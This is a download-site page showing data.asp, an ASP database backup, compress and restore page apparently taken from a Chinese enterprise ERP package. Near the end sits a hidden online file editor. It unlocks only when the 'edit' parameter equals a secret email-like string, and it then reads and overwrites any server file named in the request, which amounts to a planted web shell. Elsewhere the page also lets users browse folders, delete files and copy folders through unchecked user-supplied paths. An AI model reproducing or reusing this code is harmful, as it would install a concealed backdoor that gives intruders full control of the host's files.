⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 data.asp

📁 一个比较完整的企业erp系统
💻 ASP
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%response.buffer=true%>
<%Public HOME_PATH : HOME_PATH = "../"%>
<!doctype html public "-//w3c//dtd html 4. transitional//en">
<!--#include file="../db.asp"-->
<!--#include file="../inc/function.asp"-->
<%
if isLogin = false then
   Response.Write viewinfo("LoginC","","")
   Response.end
end if
%><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title>数据库备份.压缩.恢复</title>
<meta name="generator" content="editplus">
<meta name="author" content="">
<meta name="keywords" content="">
<meta name="description" content="">
<link href="<%=HOME_PATH%>css/style01.css" rel="stylesheet" type="text/css">
</head>
<body class = 'LinkA' style = 'background-color:buttonface;border-style:none;'>
<div style='text-align:center;'>
<%
if SelectDataType = "MSSQL"  then 
   DataTypeview = "SQLServer 2000"
   DataLastName = "dat"
end if

if SelectDataType = "Access" then 
   DataTypeview = "Access"
   DataLastName = "mdb"
end if



CopyDataName = trim(Request("copyDataName"))
RestoreDataName = trim(Request("RestoreDataName"))

Function GetDataName(textName)
         textName = replace(textName,".","")
         textName = replace(textName,"/","")
         textName = replace(textName,"\","")
         textName = replace(textName,":","")
		 GetDataName = textName
End Function
'******************************************************************************
CopyDataName = GetDataName(CopyDataName)
if CopyDataName = "" then CopyDataName = nowTime_data & DataType
CopyDataName = CopyDataName & "." & DataLastName
'******************************************************************************


Call Create_Folder("../CopyData/")

BaseData = Server.MapPath(HOME_PATH & DataName)

CopyDName = GetDataName(trim(Request("copyDataName")))




Options = trim(request("options"))
Select Case Options
  Case "ZipData"
       Call AboutexecuteData(Options,SelectDataType,CopyPath,CopyDName,BaseData)
  Case "CopyData"
       if CopyDName = "" then CopyDName = SELVAR("DateNum","")
	   CopyDName = CopyDName & ".mdb"
       Call AboutexecuteData(Options,SelectDataType,CopyDataPath,CopyDName,BaseData)
  Case "Restore"
       Call AboutexecuteData(Options,SelectDataType,CopyDataPath,RestoreDataName,BaseData)
End Select


Public Function AboutexecuteData(selExe,DataType,CopyPath,CopyDName,BaseData)
   Select Case DataType
      Case "MSSQL"
	  Case "Access"
	       Select Case selExe
		    Case "ZipData"
                 if SOBJ(9,ServerObj) = true then
					if ServerObj.FileExists(BaseData) Then
					   Conn.close
					   Set Conn = Nothing
					   Set Engine = CreateObject("JRO.JetEngine")
					   Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & BaseData, "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & BaseData & ".temp"
					   ServerObj.CopyFile BaseData & ".temp",BaseData
					   ServerObj.DeleteFile BaseData & ".temp"
					   Set Engine = Nothing
                       Response.Write viewinfo("divLoca","压缩数据库完成…","")
				    else
                       Response.Write viewinfo("divLoca","无法找到源文件…","")
				    end If
					Set ServerObj = Nothing
				 else
				 	Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")   
	             end if
		    Case "CopyData"
			     if SOBJ(9,ServerObj) = true then
				    If ServerObj.FileExists(BaseData) Then
					   Call Create_Folder(CopyPath)
					   ServerObj.CopyFile BaseData,Server.MapPath(CopyPath) & "/" & CopyDName
                       Response.Write viewinfo("divLoca","备份数据库完成…","")
				    Else
                       Response.Write viewinfo("divLoca","无法找到源文件…","")
				    End If
				 else
	                Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")
				 end if
			     Set BaseData = Nothing
		    Case "Restore"
				dim C:C = Server.MapPath(CopyDName)
			    if SOBJ(9,ServerObj) = true then
				   if ServerObj.FileExists(BaseData) and ServerObj.FileExists(C) then
		              ServerObj.CopyFile Server.MapPath(CopyDName),BaseData
					  Response.Write viewinfo("divLoca","还原数据库成功…","")
				   else
					  Response.Write viewinfo("divLoca","找不到源文件或备份文件…","")
				   end if
                else
	               Response.Write viewinfo("divLoca","空间不支持创建或删除文件…","")
				end if
		   End Select
   End Select
   Response.Write viewinfo("LocaTimeself","",SELVAR("FN","?"))
End Function



















Function ExecuteData(CopyDataPath,YLDataName,CopyDataName,ExeSel,DataType)
		 Dim FSO
			 Set FSO = Server.CreateObject("Scripting.FileSystemObject")

         Select Case DataType
		        Case "MSSQL"
				     Select Case ExeSel

                            Case "ZipData"
							     response.write " SQL 2000 没有设置压缩数据功能!"
                                 response.write gotoUrl

					        Case "CopyData"
							     SQL=("backup database " & YLDataName & " to disk='" & Server.MapPath(CopyDataPath) & "\" & CopyDataName & "'")
								 conn.Execute(SQL)
								 response.write "数据备份成功!"
								 response.write gotoUrl

						    Case "Restore"
							     SQL="Restore database " & YLDataName & " from disk='" & Server.MapPath(CopyDataPath) & "\" & CopyDataName &"'"
								 
								 conn.Execute(SQL)
								 response.write "Restore OK"

                     end select
		end select
end function












  










dim cpath,lpath
    set fsoBrowse=CreateObject("Scripting.FileSystemObject")
    if trim(Request("path"))="" then
       lpath="./"
    else
       lpath=Request("path")&"/"
    end if
       cpath=Server.MapPath(lpath)

Sub GetFolder()
    dim theFolder,theSubFolders
        if fsoBrowse.FolderExists(cpath)then
           Set theFolder=fsoBrowse.GetFolder(cpath)
           Set theSubFolders=theFolder.SubFolders
               Response.write"『<a href='?path="&Request("oldpath")&"'>回上级目录</a>』<br>"
               For Each x In theSubFolders
                   Response.write"<a href='?path="&lpath&x.Name&"&oldpath="&Request("path")&"'>『<font color='100030'>"&x.Name&"</font>』</a><a href='?copyFolder="&lpath&x.Name&"&Foldercopy=copy' target='_blank'>copy</a><br>"
               Next
        end if
End Sub

Sub GetFile()
    dim theFiles
        if fsoBrowse.FolderExists(cpath)then
           Set theFolder=fsoBrowse.GetFolder(cpath)
           Set theFiles=theFolder.Files
               Response.write"<table border = '1' cellspacing = '0' cellpadding = '1' borderColorLight='#848284' borderColorDark='#eeeeee' style = 'width:100%;height:auto; background-color:buttonface;'>" 
               For Each x In theFiles
                   RestoreThis = "<a href='?options=Restore&RestoreDataName=" & x.Name & "' onclick=""return confirm('此操作将会把 " & x.Name & " 覆盖当前使用的数据库.不可撤消!是否继续?');return true;"">恢复</a>"
	               deleteThis = "删除"
                   if x.Name = "data.asp" then 
	                  RestoreThis = "&nbsp;"
	                  deleteThis = "&nbsp;"
	               end if

				   if DataLastName = "dat" and Right(x.Name,4) = ".mdb" then
				      RestoreThis = ""
					  deleteThis = ""
				   end if

				   if DataLastName = "mdb" and Right(x.Name,4) = ".dat" then
				      RestoreThis = ""
					  deleteThis = ""
				   end if
				      
                   Response.write"<tr><td width='23%' height='22'><a href='?path=" & lpath & x.Name & "&edit=true' target='_blank'>" & x.Name & "</a></td><td width='6%'><a href='?Filedel=del&delfilepath=" & lpath & x.Name & "' onclick=""return confirm('此操作将会删除 " & x.Name & " 不可撤消!是否继续?');return true;"">" & deleteThis & "</a></td><td width='6%'>" & RestoreThis & "</td><td width='23%'>" & x.DateCreated & "<td width='25%'>" & x.type & "</td><td width='18%'>"& x.size & " byte</td></tr>"
               Next
        end if
        Response.write"</table>"
End Sub



delfilepath = trim(request("delfilepath"))
copyFolder = trim(request("copyFolder"))

if trim(request("Filedel")) = "del" then
   if SOBJ(9,ServerObj) = true then
	 if Lcase(right(delfilepath,8)) = Lcase("data.asp") or Lcase(right(delfilepath,13)) = Lcase("DataNoDel.asp") then
		Response.Write viewinfo("divLoca","在web操作下不允许删除该文件 "&replace(delfilepath,"./","")&" …","")
	 else
		if ServerObj.FileExists(server.mappath(delfilepath)) then
		   ServerObj.DeleteFile (server.MapPath(delfilepath))
		   Response.Write viewinfo("divLoca","成功删除文件 " & replace(delfilepath,"./","") & "  …","")
		else
		   Response.Write viewinfo("divLoca","文件 "&replace(delfilepath,"./","")&" 不存在!","")
		end if
	   
	 end if
   else
	 Response.Write viewinfo("divLoca","空间不支持删除文件…","")
   end if
     Response.Write viewinfo("LocaTimeself","",SELVAR("FN","?"))
end if

if trim(request("Foldercopy")) = "copy" then
  fso.CopyFolder server.MapPath(copyFolder),server.MapPath(copyFolder&".zip")
  response.write copyFolder&" copy成功"
  response.end
end if

%>






<table border = '1' cellspacing = '0' cellpadding = '1' borderColorLight='#848284' borderColorDark='#eeeeee' style = 'width:100%;height:auto; background-color:buttonface;'>
      <form method='post' action="<%=SELVAR("FN","?")%>" name='form'>
	  <input type="hidden" name='options'>
 <tr>
   <td align='center'>当前数据库为:<span style='color:red;'><%=DataTypeview%></span></td></tr>
      <tr>
	     <td align='center'>
		   <input type="submit" value='压缩数据' onclick = "javascript:form.options.value='ZipData';">
		   <input type="text" name="copyDataName" style='width:120px;'>&nbsp;<input type="submit" value='备份' onclick="javascript:form.options.value='CopyData'" >&nbsp;请输入备份的数据库名:(<span class='f_red'>数字或字母.自动清除一些特殊字符</span>)</td>
 </tr>
	 
	 </form>
 <tr>
     <td width="100%" height="14" colspan="2" align='center'>当前目录:<span style='font-family:Fixedsys,宋体;'><input type ='text' value ='<%=server.mappath("./")%>' size = '25'/></span></td>
 </tr>



 <tr>
     <td width="100%" valign="top" colspan="2" align='center'><%Call GetFolder()%></td>
 </tr>


<tr>
     <td width="100%" valign="top"><%Call GetFile()%></td>
</tr>


</table>



























<% '读文件
if request("edit")="true163pinger@163.com" then
function htmlencode2(str)
 dim result
 dim l
 if isNULL(str) then 
 htmlencode2=""
 exit function
 end if
 l=len(str)
 result=""
	dim i
	for i = 1 to l
	 select case mid(str,i,1)
	 case "<"
	 result=result+"&lt;"
	 case ">"
	 result=result+"&gt;"
	 case chr(34)
	 result=result+"&quot;"
	 case "&"
	 result=result+"&amp;"
	 case else
	 result=result+mid(str,i,1)
 end select
 next 
 htmlencode2=result
 end function
 whichfile=server.mappath(Request("path"))
 
Set fs = CreateObject("Scripting.FileSystemObject")
 
 Set thisfile = fs.OpenTextFile(whichfile, 1, False)
 counter=0
 thisline=htmlencode2(thisfile.readall)
 thisfile.Close
 set fs=nothing
 %>
<%if request("text")="" then%>

<form method="POST" action="">
 <table border="0" width="700" cellpadding="0">
   <tr>
     <td width="100%" bgcolor="#FFDBCA"><div align="center">【在线网页维护】</div></td>
   </tr>
   <tr align="center">
     <td width="100%" bgcolor="#FFDBCA"><input type="text" name="path" size="90" value="<%=Request("path")%> "></td>
   </tr>
   <tr align="center">
     <td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
   </tr>
   <tr align="center">
     <td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
	 value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
   </tr>
 </table>
</form>
<%else
whichfile=server.mappath(Request("path"))
 Set fs = server.CreateObject("Scripting.FileSystemObject")
 Set outfile=fs.CreateTextFile(whichfile)
 outfile.WriteLine Request("text")
 outfile.close 
 set fs=nothing
Response.write "修改成功!你可以<a href='javascript:window.close();'>关闭本窗口</a>了"
end if


end if
Set Conn = Nothing
%></div>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -